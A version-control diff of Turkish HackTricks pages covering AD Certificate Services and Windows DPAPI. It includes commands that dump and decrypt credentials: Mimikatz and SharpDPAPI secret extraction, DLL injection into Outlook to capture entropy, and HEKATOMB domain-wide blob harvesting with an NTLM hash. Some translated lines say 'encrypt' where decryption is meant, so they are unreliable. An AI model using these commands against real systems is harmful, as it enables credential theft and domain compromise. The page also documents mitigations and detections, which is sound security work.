|
||||
## **Disclaimer**
|
||||
## **Açıklama**
|
||||
|
||||
> [!CAUTION]
|
||||
> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitap içindeki içerik, 'olduğu gibi' esasına dayanmaktadır ve yazarlar ve yayıncılar, bu kitapta yer alan bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin tamlığı, doğruluğu, güvenilirliği, uygunluğu veya kullanılabilirliği hakkında herhangi bir türde, açık veya zımni, herhangi bir beyan veya garanti vermez. Bu tür bilgilere dayanarak yaptığınız herhangi bir güven, tamamen kendi riskinizdedir.
|
||||
> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitap içindeki içerik, 'olduğu gibi' sağlanmaktadır ve yazarlar ve yayıncılar, bu kitapta yer alan bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin tamamlığı, doğruluğu, güvenilirliği, uygunluğu veya kullanılabilirliği hakkında herhangi bir türde, açık veya zımni, herhangi bir beyan veya garanti vermez. Bu bilgilere dayanarak yaptığınız herhangi bir güven, tamamen kendi riskinizdedir.
|
||||
>
|
||||
> Yazarlar ve yayıncılar, bu kitabın kullanımından kaynaklanan veya bununla bağlantılı olarak veri kaybı veya kar kaybı dahil ancak bunlarla sınırlı olmaksızın, dolaylı veya sonuçsal kayıplar veya zararlar için hiçbir durumda sorumlu tutulamaz.
|
||||
> Yazarlar ve yayıncılar, bu kitabın kullanımından kaynaklanan veya bununla bağlantılı olarak veri kaybı veya kar kaybı dahil, dolaylı veya sonuç olarak ortaya çıkan herhangi bir kayıp veya zarardan sorumlu tutulamaz.
|
||||
>
|
||||
> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasa dışı veya kötü niyetli faaliyet için kullanılmamalıdır. Yazarlar ve yayıncılar, herhangi bir yasa dışı veya etik olmayan faaliyetleri onaylamaz veya desteklemez ve bu kitapta yer alan bilgilerin herhangi bir kullanımı, kullanıcının kendi risk ve takdirine bağlıdır.
|
||||
> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasa dışı veya kötü niyetli faaliyetler için kullanılmamalıdır. Yazarlar ve yayıncılar, herhangi bir yasa dışı veya etik olmayan faaliyetleri onaylamaz veya desteklemez ve bu kitapta yer alan bilgilerin herhangi bir kullanımı, kullanıcının kendi riskine ve takdirine bağlıdır.
|
||||
>
|
||||
> Kullanıcı, bu kitapta yer alan bilgilere dayanarak alınan herhangi bir eylemden tamamen sorumludur ve burada açıklanan teknikleri veya ipuçlarını uygulamaya çalışırken her zaman profesyonel tavsiye ve yardım almalıdır.
|
||||
>
|
||||
> Bu kitabı kullanarak, kullanıcı, yazarları ve yayıncıları, bu kitabın veya içindeki bilgilerin kullanımından kaynaklanabilecek herhangi bir zarar, kayıp veya zarardan muaf tutmayı kabul eder.
|
||||
> Bu kitabı kullanarak, kullanıcı, yazarları ve yayıncıları, bu kitabın kullanımından kaynaklanabilecek herhangi bir zarar, kayıp veya zarardan serbest bırakmayı kabul eder.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -17,7 +17,7 @@
|
||||
- **İmza Algoritması**, sertifikayı imzalamak için kullanılan yöntemi belirtir.
|
||||
- **İmza**, vericinin özel anahtarı ile oluşturulur ve sertifikanın doğruluğunu garanti eder.
|
||||
|
||||
### Özel Dikkatler
|
||||
### Özel Hususlar
|
||||
|
||||
- **Subject Alternative Names (SAN'lar)**, bir sertifikanın birden fazla kimliğe uygulanabilirliğini genişletir, bu da birden fazla alan adı olan sunucular için kritik öneme sahiptir. Güvenli verilme süreçleri, saldırganların SAN spesifikasyonunu manipüle ederek kimlik taklidi risklerini önlemek için hayati öneme sahiptir.
|
||||
|
||||
@ -81,9 +81,9 @@ Windows kullanıcıları ayrıca GUI (`certmgr.msc` veya `certlm.msc`) veya komu
|
||||
# Example of requesting a certificate using PowerShell
|
||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
```
|
||||
## Sertifika Kimlik Doğrulama
|
||||
## Sertifika Kimlik Doğrulaması
|
||||
|
||||
Active Directory (AD) sertifika kimlik doğrulamayı destekler, esasen **Kerberos** ve **Secure Channel (Schannel)** protokollerini kullanır.
|
||||
Active Directory (AD) sertifika kimlik doğrulamasını destekler, esasen **Kerberos** ve **Secure Channel (Schannel)** protokollerini kullanır.
|
||||
|
||||
### Kerberos Kimlik Doğrulama Süreci
|
||||
|
||||
@ -99,7 +99,7 @@ Schannel, bir el sıkışma sırasında istemcinin, başarılı bir şekilde do
|
||||
|
||||
### AD Sertifika Hizmetleri Sayımı
|
||||
|
||||
AD'nin sertifika hizmetleri, **Enterprise Certificate Authorities (CAs)** ve bunların yapılandırmaları hakkında bilgi ortaya çıkaran LDAP sorguları aracılığıyla sayılabilir. Bu, özel ayrıcalıklara sahip olmadan herhangi bir alan kimlik doğrulamalı kullanıcı tarafından erişilebilir. **[Certify](https://github.com/GhostPack/Certify)** ve **[Certipy](https://github.com/ly4k/Certipy)** gibi araçlar, AD CS ortamlarında sayım ve güvenlik açığı değerlendirmesi için kullanılır.
|
||||
AD'nin sertifika hizmetleri, **Enterprise Certificate Authorities (CAs)** ve bunların yapılandırmaları hakkında bilgi açığa çıkaran LDAP sorguları aracılığıyla sayılabilir. Bu, özel ayrıcalıklara sahip olmadan herhangi bir alan kimlik doğrulamalı kullanıcı tarafından erişilebilir. **[Certify](https://github.com/GhostPack/Certify)** ve **[Certipy](https://github.com/ly4k/Certipy)** gibi araçlar, AD CS ortamlarında sayım ve güvenlik açığı değerlendirmesi için kullanılır.
|
||||
|
||||
Bu araçları kullanmak için komutlar şunlardır:
|
||||
```bash
|
||||
@ -120,13 +120,13 @@ certutil -v -dstemplate
|
||||
```
|
||||
---
|
||||
|
||||
## Son Güvenlik Açıkları & Güncellemeler (2022-2025)
|
||||
## Son Güvenlik Açıkları & Güvenlik Güncellemeleri (2022-2025)
|
||||
|
||||
| Yıl | ID / İsim | Etki | Ana Çıkarımlar |
|
||||
|------|-----------|--------|----------------|
|
||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *Yetki yükseltme* PKINIT sırasında makine hesap sertifikalarının taklit edilmesiyle. | Yamanın **10 Mayıs 2022** güvenlik güncellemelerine dahil edildi. Denetim ve güçlü eşleme kontrolleri **KB5014754** aracılığıyla tanıtıldı; ortamların artık *Tam Uygulama* modunda olması gerekiyor. citeturn2search0 |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *Uzaktan kod yürütme* AD CS Web Enrollment (certsrv) ve CES rollerinde. | Kamuya açık PoC'ler sınırlıdır, ancak savunmasız IIS bileşenleri genellikle dahili olarak açığa çıkar. Yamanın **Temmuz 2023** Yamanın Salısı itibarıyla mevcut. citeturn3search0 |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | Kayıt haklarına sahip düşük yetkili kullanıcılar, CSR oluşturma sırasında **herhangi** bir EKU veya SAN'ı geçersiz kılabilir, istemci kimlik doğrulaması veya kod imzalama için kullanılabilir sertifikalar vererek *alanın tehlikeye girmesine* yol açabilir. | **Nisan 2024** güncellemelerinde ele alındı. Şablonlardan “Talepte Sağla”yı kaldırın ve kayıt izinlerini kısıtlayın. citeturn1search3 |
|
||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *Yetki yükseltme* PKINIT sırasında makine hesap sertifikalarını taklit ederek. | Yamanın **10 Mayıs 2022** güvenlik güncellemelerine dahil edildi. Denetim ve güçlü eşleme kontrolleri **KB5014754** aracılığıyla tanıtıldı; ortamların artık *Tam Uygulama* modunda olması gerekiyor. |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *Uzaktan kod yürütme* AD CS Web Kaydı (certsrv) ve CES rollerinde. | Kamuya açık PoC'ler sınırlıdır, ancak savunmasız IIS bileşenleri genellikle dahili olarak açığa çıkar. **Temmuz 2023** Yamanın Salı günü itibarıyla yamanmıştır. |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | Kayıt haklarına sahip düşük yetkili kullanıcılar, CSR oluşturma sırasında **herhangi bir** EKU veya SAN'ı geçersiz kılabilir, istemci kimlik doğrulaması veya kod imzalama için kullanılabilir sertifikalar vererek *alanın ele geçirilmesine* yol açabilir. | **Nisan 2024** güncellemelerinde ele alındı. Şablonlardan “Talepte Sağla”yı kaldırın ve kayıt izinlerini kısıtlayın. |
|
||||
|
||||
### Microsoft sertifika güçlendirme zaman çizelgesi (KB5014754)
|
||||
|
||||
@ -134,16 +134,16 @@ Microsoft, Kerberos sertifika kimlik doğrulamasını zayıf örtük eşlemelerd
|
||||
|
||||
1. Tüm DC'leri ve AD CS sunucularını yamalaması (Mayıs 2022 veya sonrası).
|
||||
2. *Denetim* aşamasında zayıf eşlemeler için Olay ID 39/41'i izlemesi.
|
||||
3. Şubat 2025'ten önce yeni **SID uzantısı** ile istemci kimlik sertifikalarını yeniden vermesi veya güçlü manuel eşlemeleri yapılandırması gerekir. citeturn2search0
|
||||
3. Şubat 2025'ten önce yeni **SID uzantısı** ile istemci kimlik sertifikalarını yeniden vermesi veya güçlü manuel eşlemeleri yapılandırması gerekir.
|
||||
|
||||
---
|
||||
|
||||
## Tespit & Güçlendirme Geliştirmeleri
|
||||
|
||||
* **Defender for Identity AD CS sensörü (2023-2024)** artık ESC1-ESC8/ESC11 için duruş değerlendirmeleri sunmakta ve *“Bir DC için sertifika verilmesi”* (ESC8) ve *“Rastgele Uygulama Politikaları ile Sertifika Kaydını Önle”* (ESC15) gibi gerçek zamanlı uyarılar üretmektedir. Bu tespitlerden yararlanmak için sensörlerin tüm AD CS sunucularına dağıtıldığından emin olun. citeturn5search0
|
||||
* **Defender for Identity AD CS sensörü (2023-2024)** artık ESC1-ESC8/ESC11 için duruş değerlendirmeleri sunmakta ve *“DC olmayan bir makine için etki alanı denetleyici sertifika verilmesi”* (ESC8) ve *“Rastgele Uygulama Politikaları ile Sertifika Kaydını Önle”* (ESC15) gibi gerçek zamanlı uyarılar üretmektedir. Bu tespitlerden yararlanmak için sensörlerin tüm AD CS sunucularına dağıtıldığından emin olun.
|
||||
* Tüm şablonlarda **“Talepte Sağla”** seçeneğini devre dışı bırakın veya sıkı bir şekilde sınırlayın; açıkça tanımlanmış SAN/EKU değerlerini tercih edin.
|
||||
* Şablonlardan **Her Amaç** veya **No EKU**'yu kaldırın, aksi takdirde kesinlikle gerekli olmadıkça (ESC2 senaryolarını ele alır).
|
||||
* Hassas şablonlar için **yönetici onayı** veya özel Kayıt Temsilcisi iş akışları gerektirin (örneğin, WebSunucu / Kod İmzalama).
|
||||
* Hassas şablonlar için **yönetici onayı** veya özel Kayıt Ajanı iş akışları gerektiriniz (örneğin, WebSunucu / Kod İmzalama).
|
||||
* Web kaydını (`certsrv`) ve CES/NDES uç noktalarını güvenilir ağlarla veya istemci sertifika kimlik doğrulaması arkasında kısıtlayın.
|
||||
* ESC11'i azaltmak için RPC kayıt şifrelemesini zorlayın (`certutil –setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`).
|
||||
|
||||
|
@ -18,14 +18,14 @@ DPAPI, her kullanıcı için kimlik bilgilerine dayalı olarak benzersiz bir ana
|
||||
|
||||
Bu, özellikle ilginçtir çünkü bir saldırgan kullanıcının şifre hash'ini elde edebilirse, şunları yapabilir:
|
||||
|
||||
- **DPAPI kullanılarak o kullanıcının anahtarıyla şifrelenmiş herhangi bir veriyi şifre çözebilir**; herhangi bir API ile iletişim kurmasına gerek kalmaz
|
||||
- **DPAPI kullanılarak o kullanıcının anahtarıyla şifrelenmiş herhangi bir veriyi şifresini çözebilir**; herhangi bir API ile iletişim kurmasına gerek kalmaz
|
||||
- Geçerli DPAPI anahtarını oluşturmayı deneyerek **şifreyi çevrimdışı kırmaya çalışabilir**
|
||||
|
||||
Ayrıca, bir kullanıcı DPAPI kullanarak her veri şifrelediğinde, yeni bir **master key** üretilir. Bu master key, verileri şifrelemek için gerçekten kullanılan anahtardır. Her master key'e onu tanımlayan bir **GUID** (Küresel Benzersiz Tanımlayıcı) verilir.
|
||||
|
||||
Master key'ler, **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** dizininde saklanır; burada `{SID}`, o kullanıcının Güvenlik Tanımlayıcısıdır. Master key, kullanıcının **`pre-key`** ile ve ayrıca kurtarma için bir **alan yedek anahtarı** ile şifrelenmiş olarak saklanır (yani aynı anahtar, 2 farklı şifre ile 2 kez şifrelenmiş olarak saklanır).
|
||||
|
||||
**Master key'i şifrelemek için kullanılan alan anahtarının alan denetleyicilerinde olduğunu ve asla değişmediğini** unutmayın; bu nedenle, bir saldırgan alan denetleyicisine erişim sağlarsa, alan yedek anahtarını alabilir ve alandaki tüm kullanıcıların master key'lerini şifre çözebilir.
|
||||
**Master key'i şifrelemek için kullanılan alan anahtarının alan denetleyicilerinde olduğunu ve asla değişmediğini** unutmayın; bu nedenle, bir saldırgan alan denetleyicisine erişim sağlarsa, alan yedek anahtarını alabilir ve alandaki tüm kullanıcıların master key'lerini şifrelerini çözebilir.
|
||||
|
||||
Şifrelenmiş blob'lar, verileri şifrelemek için kullanılan **master key'in GUID'sini** başlıklarında içerir.
|
||||
|
||||
@ -52,7 +52,8 @@ Bu, makinenin verileri şifrelemek için kullandığı anahtardır. **DPAPI_SYST
|
||||
Bu anahtarların **bir alan yedeği yoktur**, bu nedenle yalnızca yerel olarak erişilebilirler:
|
||||
|
||||
- **Mimikatz**, `mimikatz lsadump::secrets` komutunu kullanarak LSA sırlarını dökerek buna erişebilir.
|
||||
- Sır, kayıt defterinde saklanır, bu nedenle bir yönetici **erişim için DACL izinlerini değiştirebilir**. Kayıt defteri yolu: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
||||
- Sır, kayıt defterinde saklanır, bu nedenle bir yönetici **ona erişmek için DACL izinlerini değiştirebilir**. Kayıt defteri yolu: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
||||
|
||||
|
||||
### DPAPI ile Korunan Veriler
|
||||
|
||||
@ -87,12 +88,12 @@ SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
|
||||
# Mimikatz
|
||||
mimikatz sekurlsa::dpapi
|
||||
```
|
||||
- Eğer kullanıcı yerel yönetici ayrıcalıklarına sahipse, makine anahtarlarını şifre çözmek için **DPAPI_SYSTEM LSA sırrına** erişebilir:
|
||||
- Eğer kullanıcı yerel yönetici ayrıcalıklarına sahipse, makine anahtarlarını şifrelemek için **DPAPI_SYSTEM LSA sırrına** erişebilir:
|
||||
```bash
|
||||
# Mimikatz
|
||||
lsadump::secrets /system:DPAPI_SYSTEM /export
|
||||
```
|
||||
- Eğer kullanıcının şifresi veya NTLM hash'i biliniyorsa, **kullanıcının anahtarlarını doğrudan şifre çözebilirsiniz**:
|
||||
- Kullanıcının şifresi veya NTLM hash'i biliniyorsa, **kullanıcının ana anahtarlarını doğrudan şifreleyebilirsiniz**:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
|
||||
@ -125,7 +126,7 @@ Ortak kullanıcıların **korunan dosyaları** şunlardadır:
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
|
||||
- Yukarıdaki yollarda `\Roaming\` kısmını `\Local\` olarak değiştirmeyi de kontrol edin.
|
||||
- Yukarıdaki yollarda `\Roaming\` kısmını `\Local\` ile değiştirmeyi de kontrol edin.
|
||||
|
||||
Sıralama örnekleri:
|
||||
```bash
|
||||
@ -182,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe masterkeys /rpc
|
||||
```
|
||||
**SharpDPAPI** aracının masterkey şifre çözümü için bu argümanları da desteklediğini unutmayın (domain yedek anahtarını almak için `/rpc`, düz metin şifresi kullanmak için `/password` veya bir DPAPI domain özel anahtar dosyası belirtmek için `/pvk` kullanmanın mümkün olduğunu göz önünde bulundurun...):
|
||||
**SharpDPAPI** aracı, masterkey şifre çözümü için bu argümanları da destekler (dikkat edin, `/rpc` kullanarak alanların yedek anahtarını almanın, `/password` ile düz metin şifresi kullanmanın veya `/pvk` ile bir DPAPI alan özel anahtar dosyası belirtmenin mümkün olduğunu göreceksiniz...):
|
||||
```
|
||||
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
|
||||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
@ -194,7 +195,7 @@ SharpDPAPI.exe masterkeys /rpc
|
||||
/server:SERVER - triage a remote server, assuming admin access
|
||||
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
|
||||
```
|
||||
- **Veri şifre çözme anahtarı kullanarak**:
|
||||
- **Veri şifrelemesini çözmek için bir anahtar kullanın**:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
|
||||
@ -202,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
|
||||
```
|
||||
**SharpDPAPI** aracı ayrıca `credentials|vaults|rdg|keepass|triage|blob|ps` şifre çözme işlemleri için bu argümanları destekler (domain yedek anahtarını almak için `/rpc`, düz metin şifresi kullanmak için `/password`, bir DPAPI domain özel anahtar dosyasını belirtmek için `/pvk`, mevcut kullanıcı oturumunu kullanmak için `/unprotect` kullanmanın mümkün olduğunu not edin...):
|
||||
**SharpDPAPI** aracı ayrıca `credentials|vaults|rdg|keepass|triage|blob|ps` şifre çözme işlemleri için bu argümanları destekler (dikkat edin, `/rpc` kullanarak alanların yedek anahtarını almanın, `/password` ile düz metin şifresi kullanmanın, `/pvk` ile bir DPAPI alan özel anahtar dosyası belirtmenin, `/unprotect` ile mevcut kullanıcı oturumunu kullanmanın mümkün olduğunu görebilirsiniz...):
|
||||
```
|
||||
Decryption:
|
||||
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
|
||||
@ -232,9 +233,9 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
|
||||
---
|
||||
### Opsiyonel Entropi Yönetimi ("Üçüncü taraf entropi")
|
||||
|
||||
Bazı uygulamalar `CryptProtectData`'ya ek bir **entropi** değeri geçirir. Bu değer olmadan blob deşifre edilemez, doğru anahtar bilinse bile. Bu şekilde korunan kimlik bilgilerine hedef alırken entropiyi elde etmek bu nedenle esastır (örneğin Microsoft Outlook, bazı VPN istemcileri).
|
||||
Bazı uygulamalar `CryptProtectData`'ya ek bir **entropi** değeri geçirir. Bu değer olmadan blob deşifre edilemez, doğru anahtar bilinse bile. Bu nedenle, bu şekilde korunan kimlik bilgilerine hedef alırken entropiyi elde etmek esastır (örneğin, Microsoft Outlook, bazı VPN istemcileri).
|
||||
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022), hedef süreç içindeki DPAPI fonksiyonlarını yakalayan ve sağlanan herhangi bir opsiyonel entropiyi şeffaf bir şekilde kaydeden bir kullanıcı modu DLL'sidir. `outlook.exe` veya `vpnclient.exe` gibi süreçlere karşı **DLL-enjeksiyon** modunda EntropyCapture çalıştırmak, her entropi tamponunu çağıran süreç ve blob ile eşleyen bir dosya çıktısı verecektir. Yakalanan entropi daha sonra veriyi deşifre etmek için **SharpDPAPI** (`/entropy:`) veya **Mimikatz** (`/entropy:<file>`) ile sağlanabilir. citeturn5search0
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022), hedef süreç içindeki DPAPI fonksiyonlarını yakalayan ve sağlanan herhangi bir opsiyonel entropiyi şeffaf bir şekilde kaydeden bir kullanıcı modu DLL'sidir. `outlook.exe` veya `vpnclient.exe` gibi süreçlere karşı **DLL-enjeksiyonu** modunda EntropyCapture çalıştırmak, her entropi tamponunu çağıran süreç ve blob ile eşleyen bir dosya çıktısı verecektir. Yakalanan entropi daha sonra veriyi deşifre etmek için **SharpDPAPI** (`/entropy:`) veya **Mimikatz** (`/entropy:<file>`) ile sağlanabilir.
|
||||
```powershell
|
||||
# Inject EntropyCapture into the current user's Outlook
|
||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
@ -244,7 +245,7 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
||||
```
|
||||
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
|
||||
|
||||
Microsoft, Windows 10 v1607 (2016) ile birlikte **context 3** masterkey formatını tanıttı. `hashcat` v6.2.6 (Aralık 2023) hash-modları **22100** (DPAPI masterkey v1 context), **22101** (context 1) ve **22102** (context 3) ekleyerek kullanıcı şifrelerinin masterkey dosyasından doğrudan GPU hızlandırmalı bir şekilde kırılmasını sağladı. Bu nedenle, saldırganlar hedef sistemle etkileşime girmeden kelime listesi veya brute-force saldırıları gerçekleştirebilir. citeturn8search1
|
||||
Microsoft, Windows 10 v1607 (2016) ile birlikte **context 3** masterkey formatını tanıttı. `hashcat` v6.2.6 (Aralık 2023) hash-modları **22100** (DPAPI masterkey v1 context), **22101** (context 1) ve **22102** (context 3) ekleyerek kullanıcı şifrelerinin masterkey dosyasından doğrudan GPU hızlandırmalı kırılmasını sağladı. Bu nedenle, saldırganlar hedef sistemle etkileşime girmeden kelime listesi veya brute-force saldırıları gerçekleştirebilirler.
|
||||
|
||||
`DPAPISnoop` (2024) süreci otomatikleştirir:
|
||||
```bash
|
||||
@ -265,7 +266,7 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
||||
|
||||
### HEKATOMB
|
||||
|
||||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB), LDAP dizininden tüm kullanıcılar ve bilgisayarların çıkarılmasını ve alan denetleyici yedek anahtarının RPC üzerinden çıkarılmasını otomatikleştiren bir araçtır. Script, ardından tüm bilgisayarların IP adreslerini çözecek ve tüm kullanıcıların DPAPI blob'larını almak için tüm bilgisayarlarda smbclient çalıştıracak ve her şeyi alan yedek anahtarı ile şifre çözecektir.
|
||||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB), LDAP dizininden tüm kullanıcılar ve bilgisayarların çıkarılmasını ve alan denetleyici yedek anahtarının RPC üzerinden çıkarılmasını otomatikleştiren bir araçtır. Script, ardından tüm bilgisayarların IP adreslerini çözecek ve tüm kullanıcıların DPAPI blob'larını almak için tüm bilgisayarlarda smbclient gerçekleştirecek ve her şeyi alan yedek anahtarı ile şifre çözecektir.
|
||||
|
||||
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
|
||||
|
||||
@ -278,11 +279,11 @@ LDAP'tan çıkarılan bilgisayar listesi ile, bilmediğiniz her alt ağı bulabi
|
||||
* Yüzlerce hosttan blob'ların paralel toplanması
|
||||
* **context 3** anahtarlarının ayrıştırılması ve otomatik Hashcat kırma entegrasyonu
|
||||
* Chrome "App-Bound" şifreli çerezler için destek (bir sonraki bölüme bakın)
|
||||
* Yeni bir **`--snapshot`** modu, uç noktaları sürekli olarak sorgulamak ve yeni oluşturulan blob'ları karşılaştırmak için
|
||||
* Yeni bir **`--snapshot`** modu, uç noktaları sürekli olarak sorgulayıp yeni oluşturulan blob'ları karşılaştırmak için
|
||||
|
||||
### DPAPISnoop
|
||||
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop), Hashcat/JtR formatlarını çıkartabilen ve isteğe bağlı olarak kırma işlemini otomatik olarak başlatabilen bir C# ayrıştırıcısıdır. Windows 11 24H1'e kadar makine ve kullanıcı anahtar formatlarını tamamen destekler.
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop), Hashcat/JtR formatlarını çıkartabilen ve isteğe bağlı olarak otomatik kırma başlatabilen bir C# ayrıştırıcısıdır. Windows 11 24H1'e kadar makine ve kullanıcı anahtar formatlarını tamamen destekler.
|
||||
|
||||
## Yaygın tespitler
|
||||
|
||||
@ -295,18 +296,18 @@ LDAP'tan çıkarılan bilgisayar listesi ile, bilmediğiniz her alt ağı bulabi
|
||||
---
|
||||
### 2023-2025 güvenlik açıkları ve ekosistem değişiklikleri
|
||||
|
||||
* **CVE-2023-36004 – Windows DPAPI Güvenli Kanal Sahteciliği** (Kasım 2023). Ağ erişimi olan bir saldırgan, bir alan üyesini kötü niyetli bir DPAPI yedek anahtarını alması için kandırabilir, bu da kullanıcı anahtarlarının şifrelenmesini sağlar. Kasım 2023 toplu güncellemesinde yamanmıştır – yöneticiler DC'lerin ve iş istasyonlarının tamamen yamanmış olduğundan emin olmalıdır.
|
||||
* **Chrome 127 “App-Bound” çerez şifrelemesi** (Temmuz 2024), eski DPAPI yalnızca korumasını, kullanıcının **Credential Manager** altında saklanan ek bir anahtar ile değiştirmiştir. Çerezlerin çevrimdışı şifre çözümü artık hem DPAPI anahtarını hem de **GCM sarılı uygulama bağlı anahtarı** gerektirir. SharpChrome v2.3 ve DonPAPI 2.x, kullanıcı bağlamında çalışırken ek anahtarı kurtarabilir.
|
||||
* **CVE-2023-36004 – Windows DPAPI Güvenli Kanal Taklidi** (Kasım 2023). Ağ erişimi olan bir saldırgan, bir alan üyesini kötü niyetli bir DPAPI yedek anahtarını alması için kandırabilir, bu da kullanıcı anahtarlarının şifrelenmesini sağlar. Kasım 2023 toplu güncellemesinde yamanmıştır – yöneticiler DC'lerin ve iş istasyonlarının tamamen yamanmış olduğundan emin olmalıdır.
|
||||
* **Chrome 127 “App-Bound” çerez şifrelemesi** (Temmuz 2024), eski DPAPI yalnızca korumayı, kullanıcının **Credential Manager** altında saklanan ek bir anahtar ile değiştirmiştir. Çerezlerin çevrimdışı şifre çözümü artık hem DPAPI anahtarını hem de **GCM-sarılı uygulama bağlı anahtarı** gerektirir. SharpChrome v2.3 ve DonPAPI 2.x, kullanıcı bağlamında çalışırken ek anahtarı kurtarabilir.
|
||||
|
||||
## Referanslar
|
||||
|
||||
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
|
||||
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
|
||||
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
|
||||
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
|
||||
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
|
||||
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
|
||||
- https://github.com/Leftp/DPAPISnoop
|
||||
- https://pypi.org/project/donpapi/2.0.0/
|
||||
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
||||
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
||||
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
|
||||
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
|
||||
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
|
||||
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
|
||||
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
|
||||
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user